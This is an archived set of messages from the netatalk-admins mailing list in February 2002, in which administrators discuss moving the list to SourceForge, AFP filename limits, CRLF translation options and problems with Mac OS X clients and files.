	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 11:05:06 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1LA55Wt009795
	for netatalk-admins@umich.edu; Thu, 21 Feb 2002 11:05:05 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16dpwQ-0000fu-00
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 10:55:06 +0100
Date: Thu, 21 Feb 2002 10:55:06 +0100
To: netatalk-admins@umich.edu
Subject: Re: netatalk-admins@umich.edu
Message-ID: <20020221095506.GD2318@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <B8998AA4.B4EA%sflist@ihonk.com> <598740.1014243217@adsl-242-15.ns.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <598740.1014243217@adsl-242-15.ns.itd.umich.edu>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Wed, Feb 20, 2002 at 10:13:37PM -0500, wes@umich.edu wrote:

[Moving netatalk-admins to SourceForge.]

> That would be great.  Who would set that up?

Jeff, Andrew? Could anyone of you set-up a mailing list called
"netatalk-admins" on SourceForge? You would probably need to
mass-subscribe all current users of netatalk-admins as well.

> I'd also think it was really 
> super if the only mention of netatalk@umich.edu was in the COPYRIGHT file, 
> not in, e.g. the BUGS file.

I've removed the BUGS file from CVS since it doesn't seem relevant
anymore. I've also removed the (physical) UMich address from
contrib/timelord/README and will fix the FAQ (if that's okay for you).

 - Sebastian


From netatalk.administrators-errors@umich.edu  Thu Feb 21 05:59:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA08644
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 05:59:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA24943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 05:59:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA24930
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 05:59:50 -0500 (EST)
Received: from mta01-svc.ntlworld.com (mta01-svc.ntlworld.com [62.253.162.41])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA24904
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 05:59:49 -0500 (EST)
Received: from compaq1 ([213.106.169.232]) by mta01-svc.ntlworld.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP
          id <20020221105948.JZSJ9422.mta01-svc.ntlworld.com@compaq1>
          for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 10:59:48 +0000
Message-ID: <003b01c1bac6$a7822620$1518a8c0@myhouse.org>
From: "philrobinson" <phil@unitec.demon.co.uk>
To: <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Thu, 21 Feb 2002 10:58:11 -0000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

unsubscribe


From netatalk.administrators-errors@umich.edu  Thu Feb 21 07:10:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA11375
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 07:10:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA26770
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 07:10:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA26760
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 07:10:11 -0500 (EST)
Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA26737
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 07:10:10 -0500 (EST)
Received: from host213-122-171-209.in-addr.btopenworld.com ([213.122.171.209] helo=nexus.local.net)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16ds36-0006gw-00; Thu, 21 Feb 2002 12:10:08 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id LAA10143;
	Thu, 21 Feb 2002 11:20:36 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510030eb89a87d3705d@[10.0.1.10]>
In-Reply-To: <B899EA62.1C509%Thomas.Kaiser@phg-online.de>
References: <B899EA62.1C509%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Thu, 21 Feb 2002 11:20:34 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: long filenames
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:05 am +0100 21/2/02, Thomas Kaiser wrote:
>>  Am I correct that OSX AppleShare clients WILL work with these long 
>>filenames,
>
>Yes. The AFP client of MOSX speaks AFP 3.0.


That's good.


>>  or is it a limitation built into Netatalk?
>
>It's a limitation of AFP versions < 3.x
>
>Netatalk is implementing AFP 2.x correctly, so longer filenames won't be
>available for AFP clients as they could cause buffer overflows.


That's not so good.

When will Netatalk implement AFP 3?

In the meantime, is there anything I can do to make Netatalk truncate 
the names in some way so that the files at least get shown?



>M$ is violating the specs with Win2000's Services for Macintosh, that
>implement longer filenames even for AFP 2.x clients (the same old story with
>every protocol, M$ keeps its hands on)


You're right there, but in this case I wish Netatalk did the same thing:-)
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb 21 09:34:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA17446
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 09:34:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA03039
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 09:34:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA03029
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 09:34:34 -0500 (EST)
Received: from mail.talknet.de (smtp01.talknet.de [195.252.142.71])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA02899
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 09:34:29 -0500 (EST)
Received: from [192.168.1.5] (a1as06-p145.mch.tli.de [195.252.163.145])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1LEYQg08737
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 15:34:26 +0100 (MET)
X-Delivered-To: <<netatalk-admins@umich.edu>>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100306b89ab47cce6e@[192.168.1.5]>
Date: Thu, 21 Feb 2002 15:33:11 +0100
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: CRLF issue
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA17446

Hello folks,

this is probabely a boring problem for You...-

I want to copy a text file (Type "TEXT")  from mac to linux, and want 
the line breaks useable on the linux. What I get is a highlightened 
^M   wherever a linebreak should be.

I  have the

.       BINA    UNIX
.       TEXT    UNIX

uncommented in the /etc/atalk/AppleVolumes.system - but that doesnt 
make any difference, the ^M stay when copying (I restarted netatalk 
after every change).

How can I advice netatalk to convert line breaks into the unix style?

Thanks

WD
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Thu Feb 21 09:44:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA17909
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 09:44:35 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1LEiZ029393
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 09:44:35 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1LEiYC29385
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 09:44:34 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1LEiXc29371
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 09:44:33 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA04255;
	Thu, 21 Feb 2002 16:11:35 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 21 Feb 2002 15:45:19 +0100
Subject: Re: CRLF issue
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Wolf Drechsel <drechsel@verkehrsplanung.com>, <netatalk-admins@umich.edu>
Message-ID: <B89AC68E.1C5C7%Thomas.Kaiser@phg-online.de>
In-Reply-To: <f05100306b89ab47cce6e@[192.168.1.5]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 21 Feb 2002 15:33:11 +0100, Wolf Drechsel wrote:

> How can I advice netatalk to convert line breaks into the unix style?

Did you set the crlf option for the specific volume? (see 'man
AppleVolumes.default' for details)

But be careful. Some programs (eg. Freehand) save their native (binary)
files as filetype "TEXT" first and change this later to the appropriate one.
These files will probably be garbled if you enable crlf conversion!

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Feb 21 10:07:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA18699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 10:07:14 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1LF7Eq14911
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 10:07:14 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1LF7DY14905
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 10:07:13 -0500 (EST)
Received: from ns1.lancer.ch ([212.254.218.195])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1LF7BN14889
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 10:07:12 -0500 (EST)
Received: from jobs.ch (redbox.interactive-solutions.ch [212.23.225.18])
	by ns1.lancer.ch (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g1LF6tT30086
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 16:06:59 +0100
Message-ID: <3C750D0F.1030407@jobs.ch>
Date: Thu, 21 Feb 2002 16:06:55 +0100
From: Markus Sackmann <markus.sackmann@jobs.ch>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204
X-Accept-Language: de-ch, fr-ch, en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Mac OS X
References: <3C750511.8090308@jobs.ch> <200202211433.JAA17416@terminator.rsug.itd.umich.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi

We can't get Mac OS X clients running with netatalk-1.5.2 on SuSE 7.3. 
All other Mac OSs don't have problems to connect. Here's the configure 
we used:

configure --with-did=last --with-flock-locks --enable-suse
--enable-timelord --with-ssl-dirs=/usr/local/ssl/

Did we miss an option?

Thanks for the help.

Markus Sackmann


From netatalk.administrators-errors@umich.edu  Thu Feb 21 10:28:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA19948
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 10:28:36 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1LFSa727412
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 10:28:36 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1LFSa427403
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 10:28:36 -0500 (EST)
Received: from Mail6.nc.rr.com ([24.93.67.53])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1LFSZN27386
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 10:28:35 -0500 (EST)
Received: from [192.168.1.14] ([24.25.10.149]) by Mail6.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 21 Feb 2002 10:24:07 -0500
User-Agent: Microsoft-Entourage/10.0.1.1705
Date: Thu, 21 Feb 2002 10:24:06 -0500
Subject: Re: Mac OS X
From: Kyle Johnson <kyle.johnson@duke.edu>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B89A7B46.7E79%kyle.johnson@duke.edu>
In-Reply-To: <3C750D0F.1030407@jobs.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/21/02 10:06 AM, "Markus Sackmann" <markus.sackmann@jobs.ch> wrote:

> We can't get Mac OS X clients running with netatalk-1.5.2 on SuSE 7.3.
> All other Mac OSs don't have problems to connect. Here's the configure
> we used:

While some folks aren't having any problem with OSX clients, a number of
folks are.  It appears in most cases where there is a problem with the OSX
client being able to select a volume but then getting a disconnect message
that adding -loginmesg "Your message here." to the afpd.conf resolves the
issue.

If you're having a different problem this solution may not resolve your
issue.

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
A little patience goes a long way; alot goes utterly nowhere.
-The Doctor


From netatalk.administrators-errors@umich.edu  Thu Feb 21 10:36:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA20396
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 10:36:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA22709
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 10:36:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA22693
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 10:36:20 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA22582
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 10:36:15 -0500 (EST)
Received: (qmail 32541 invoked by alias); 21 Feb 2002 15:33:25 -0000
Received: (qmail 32529 invoked from network); 21 Feb 2002 15:33:25 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 21 Feb 2002 15:33:25 -0000
Subject: Re: netatalk-admins@umich.edu
From: Matthew Keller <kellermg@potsdam.edu>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
Cc: netatalk-admins@umich.edu
In-Reply-To: <20020221095506.GD2318@jroger.in-berlin.de>
References: <B8998AA4.B4EA%sflist@ihonk.com>
	<598740.1014243217@adsl-242-15.ns.itd.umich.edu> 
	<20020221095506.GD2318@jroger.in-berlin.de>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.2 
Date: 21 Feb 2002 10:36:14 -0500
Message-Id: <1014305774.1112.8.camel@comp10574>
Mime-Version: 1.0


	If I can be e-mailed a dump of all netatalk-admin users, I'll set that
list up.

On Thu, 2002-02-21 at 04:55, Sebastian Rittau wrote:
> On Wed, Feb 20, 2002 at 10:13:37PM -0500, wes@umich.edu wrote:
> 
> [Moving netatalk-admins to SourceForge.]
> 
> > That would be great.  Who would set that up?
> 
> Jeff, Andrew? Could anyone of you set-up a mailing list called
> "netatalk-admins" on SourceForge? You would probably need to
> mass-subscribe all current users of netatalk-admins as well.
> 
> > I'd also think it was really 
> > super if the only mention of netatalk@umich.edu was in the COPYRIGHT file, 
> > not in, e.g. the BUGS file.
> 
> I've removed the BUGS file from CVS since it doesn't seem relevant
> anymore. I've also removed the (physical) UMich address from
> contrib/timelord/README and will fix the FAQ (if that's okay for you).
> 
>  - Sebastian
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Feb 21 11:12:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA22556
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 11:12:55 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1LGCoV24851
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 11:12:51 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1LGCoZ24843
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 11:12:50 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by giblues.mr.itd.umich.edu (3.6u) with SMTP id g1LGCiN24781
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 11:12:44 -0500 (EST)
Received: (qmail 19181 invoked by alias); 21 Feb 2002 16:09:44 -0000
Received: (qmail 19168 invoked from network); 21 Feb 2002 16:09:44 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 21 Feb 2002 16:09:44 -0000
Subject: Re: netatalk-admins@umich.edu
From: Matthew Keller <kellermg@potsdam.edu>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
Cc: netatalk-admins@umich.edu
In-Reply-To: <20020221095506.GD2318@jroger.in-berlin.de>
References: <B8998AA4.B4EA%sflist@ihonk.com>
	<598740.1014243217@adsl-242-15.ns.itd.umich.edu> 
	<20020221095506.GD2318@jroger.in-berlin.de>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.2 
Date: 21 Feb 2002 11:12:33 -0500
Message-Id: <1014307953.1098.31.camel@comp10574>
Mime-Version: 1.0


	I've got the current subscriber list, and
netatalk-admins@lists.sourceforge.net has been queued for creation. I'll
let this list know what everything is setup over there.
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Feb 21 15:13:25 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA07023
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 15:13:25 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1LKDPv07870
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 15:13:25 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1LKDOc07859
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 15:13:24 -0500 (EST)
Received: from mail.talknet.de (smtp01.talknet.de [195.252.142.71])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1LKDMN07822
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 15:13:23 -0500 (EST)
Received: from [192.168.1.5] (a1as10-p136.mch.tli.de [195.252.165.136])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1LKCfg20818;
	Thu, 21 Feb 2002 21:12:42 +0100 (MET)
X-Delivered-To: <>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100301b89b0436f730@[192.168.1.5]>
In-Reply-To: <B89AC68E.1C5C7%Thomas.Kaiser@phg-online.de>
References: <B89AC68E.1C5C7%Thomas.Kaiser@phg-online.de>
Date: Thu, 21 Feb 2002 21:10:55 +0100
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: Re: CRLF issue
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA07023

>On Thu, 21 Feb 2002 15:33:11 +0100, Wolf Drechsel wrote:
>
>>  How can I advice netatalk to convert line breaks into the unix style?
>
>Did you set the crlf option for the specific volume? (see 'man
>AppleVolumes.default' for details)

I tried to:

/       DX120
/home    home   options=crlf
/zip     Zip
/home/cd cd      options=crlf

But that doesnt make any difference...

Or didnt I dechiffer the syntax wrong?

Thanks

WD

-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Fri Feb 22 03:55:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA18444
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Feb 2002 03:55:04 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1M8t3616567
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Feb 2002 03:55:03 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1M8t3916559
	for netatalk.administrators-members@umich.edu; Fri, 22 Feb 2002 03:55:03 -0500 (EST)
Received: from mail.talknet.de (smtp01.talknet.de [195.252.142.71])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g1M8swX16526
	for <netatalk-admins@umich.edu>; Fri, 22 Feb 2002 03:55:02 -0500 (EST)
Received: from [192.168.1.5] (a1as13-p40.mch.tli.de [195.252.167.40])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1M8sqg25771;
	Fri, 22 Feb 2002 09:54:53 +0100 (MET)
X-Delivered-To: <>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100302b89bb63dbe94@[192.168.1.5]>
In-Reply-To: <a4.218d4568.29a74ae6@aol.com>
References: <a4.218d4568.29a74ae6@aol.com>
Date: Fri, 22 Feb 2002 09:53:03 +0100
To: MenaceChgo@aol.com, netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: Re: CRLF issue
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA18444

Hello,

thanks for Your hint - but that seems not to be the reason.

>the options should be using a    :    colon,  not an  =


I've got the 1,42+asun patch netatalk, the Apple.Volumes.default 
looks like this, nevertheless I cannot read text files on the Linux 
side without the annoying ^M thing.

WD


Apple.Volumes.default:

# This file looks empty when viewed with "vi".  In fact, there is one
# '~', so users with no AppleVolumes file in their home directory get
# their home directory by default.
#
# volume format:
# path [name] [casefold=x] [codepage=y] [options=z,l,j] \
#   [access=a,@b,c,d] [dbpath=path] [password=p]
#
#
# casefold options:
# tolower    -> lowercases names in both directions
# toupper    -> uppercases names in both directions
# xlatelower -> client sees lowercase, server sees uppercase
# xlateupper -> client sees uppercase, server sees lowercase
#
# access format:
# user1,@group,user2  -> restricts volume to listed users/groups
#
# miscellaneous options
# prodos              -> make compatible with appleII clients.
# crlf                -> enable crlf translation for TEXT files.
# noadouble           -> don't create .AppleDouble unless a resource
#                        fork needs to be created.
#
# codepage=filename   -> load filename from nls directory.
# dbpath=path         -> store the database stuff in the following path.
# password=password   -> set a volume password (8 characters max)
#
#
/       DX120
/home    home options=crlf
/zip     Zip
/home/cd cd   options=crlf
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Fri Feb 22 04:30:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA20201
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Feb 2002 04:30:10 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1M9UAc13620
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Feb 2002 04:30:10 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1M9UAh13613
	for netatalk.administrators-members@umich.edu; Fri, 22 Feb 2002 04:30:10 -0500 (EST)
Received: from mail.broadpark.no (217-13-4-9.dd.nextgentel.com [217.13.4.9])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1M9U8x13608
	for <netatalk-admins@umich.edu>; Fri, 22 Feb 2002 04:30:09 -0500 (EST)
Received: from dreier.no (213-145-160-118.dd.nextgentel.com [213.145.160.118])
	by mail.broadpark.no (Postfix) with ESMTP id 5FFD78003
	for <netatalk-admins@umich.edu>; Fri, 22 Feb 2002 10:24:34 +0100 (MET)
Message-ID: <3C760F43.7050209@dreier.no>
Date: Fri, 22 Feb 2002 10:28:35 +0100
From: Morten Dreier <morten@dreier.no>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020205
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: New error - this time Photoshop (Re: Strange errors in netatalk-1.5pre6)
References: <3C73A6CC.3050406@dreier.no> <1014213037.1124.9.camel@comp10574> <3C73C3B5.40606@dreier.no>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Morten Dreier wrote:
> Matthew Keller wrote:
> 
>>     Yes, there are a number of known issues w/ Quark. I recommend 
>> upgrading
>> to a stable version of Netatalk 1.5 at your earliest convenience.
>>
> Thanks - 1.5.2 installed - and it looks like the problem is gone.

And we have another problem. This time it is concerning Photoshop Files 
- we can't open them after we move them to the server. When we move them 
back to the local machine, they work ok.
Is this another known issue?
The machine is using ext3 filesystem - can this be a source to the error?

> But we found a new one... :(
> When we try to build a Flash Projector - a Flash standalone - we get 
> err39 - EOF - when we generate it and try to run it on the server. When 
> we run it locally, it works find. Sounds like a problem in the same 
> neighbourhood... :(
> Both the data and resource parts are updated, but do not work.
> 
>>
